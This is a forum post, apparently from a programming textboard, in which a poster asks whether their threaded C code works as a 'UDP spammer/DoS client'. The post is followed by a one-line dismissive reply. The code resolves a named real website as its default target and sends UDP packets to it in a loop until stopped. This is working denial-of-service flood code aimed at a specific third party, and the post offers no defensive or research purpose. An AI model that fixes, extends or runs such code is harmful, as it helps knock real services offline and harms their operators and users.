Does this work as a DoS client?

Hey /prog/, I'm fairly new to network programming, so I was wondering if this block of code did its job as a UDP spammer/DoS client. HOST_NAME is by default set to "anontalk.se", and PORT is set to "80".
You may guess from this but I am also fairly new at threaded programming.

memset (&hints, 0, sizeof hints);
  hints.ai_family = AF_UNSPEC;
  hints.ai_socktype = SOCK_DGRAM;

  if ((status = getaddrinfo (HOST_NAME, PORT, &hints, &server_info))
      != 0)
    {
      MESGS[thread_id] = "Error obtaining address information.";
      return NULL;
    }

  MESGS[thread_id] = "Obtained address information.";

  for (scroller = server_info; scroller != NULL; scroller = scroller->ai_next)
    {
      if ((sockfd = socket (scroller->ai_family, scroller->ai_socktype,
                scroller->ai_protocol)) == -1)
    {
      MESGS[thread_id] = "Error creating a socket.";
      continue;
    }

      break;
    }

  if (scroller == NULL)
    {
      MESGS[thread_id] = "Failed to bind socket.";
      return NULL;
    }

  do
    {
      MESGS[thread_id] = "Running...";

      if ((msg_size = sendto (sockfd, UDP_STR, strlen (UDP_STR), 0,
                  scroller->ai_addr, scroller->ai_addrlen)) == -1)
    {
      MESGS[thread_id] = "Error sending message.";
      return NULL;
    }

      if (MAIN_SIG == PAUSE)
    {
      MESGS[thread_id] = "Suspending...";
      while (MAIN_SIG == PAUSE);
    }
     
      for (start = update = time (NULL); update - start < wtime; update = time (NULL))
    ;
    }
  while (MAIN_SIG != DONE && MAIN_SIG != RESTART);

  close (sockfd);

MESGS[thread_id] = "
Stopped reading right there